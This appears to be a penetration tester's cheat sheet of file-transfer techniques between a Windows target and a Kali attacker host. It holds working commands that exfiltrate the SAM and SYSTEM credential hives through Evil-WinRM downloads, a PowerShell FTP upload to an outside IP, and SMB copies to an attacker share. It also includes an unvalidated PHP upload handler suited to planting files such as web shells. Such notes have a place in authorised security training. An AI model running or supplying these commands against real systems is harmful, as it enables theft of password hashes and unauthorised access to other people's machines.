File transfer
python server
Wget
Use Case: - get file from http server
ENV: - (linux) - bash
- (windows) - powershell - as a wrapper for Invoke-WebRequestWinRM - connect and download/upload file
Use Case: - transfer files - execute commands on kali
*Evil-WinRM* PS > download C:\Users\celia\SAM SAM
*Evil-WinRM* PS > download C:\Users\celia\SYSTEM SYSTEM
Certutil
Use Case: - get file from http server ENV: - (windows) - cmd - (windows) - powershell
HttpServer.PY
Use Case: - expose static files by http server ENV: - (linux) - bash
HttpServer.PHP
upload.php
<?php
$uploadPath = '/var/www/html/uploads';
$uploadFile = $uploadPath . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile);
?>
on windows
UploadServer
Use Case: - expose static files by http server - accept incoming file (POST request, files parameter) ENV: - (linux) - bash
FTP
linux - expose ftp server
windows
$client = New-Object System.Net.WebClient
#$client.Credentials = New-Object System.Net.NetworkCredential("username", "password")
$client.UploadFile("ftp://10.10.83.141:2121/SAM", "C:\Users\celia.almeda\SAM")
# !!!! NOT TESTED !!!!
SMB
(linux) - setup server
sudo /opt/tools/impacket/examples/smbserver.py -smb2support public .
sudo /opt/tools/impacket/examples/smbserver.py -smb2support -username hacker -password hacker public .
(linux) - powershell, copy file from windows to kali
copy C:\Users\admin\Desktop\SYSTEM \\<KALI_IP>\public\
copy C:\Users\admin\Desktop\SAM \\<KALI_IP>\public\
Other
- https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration#debug.exe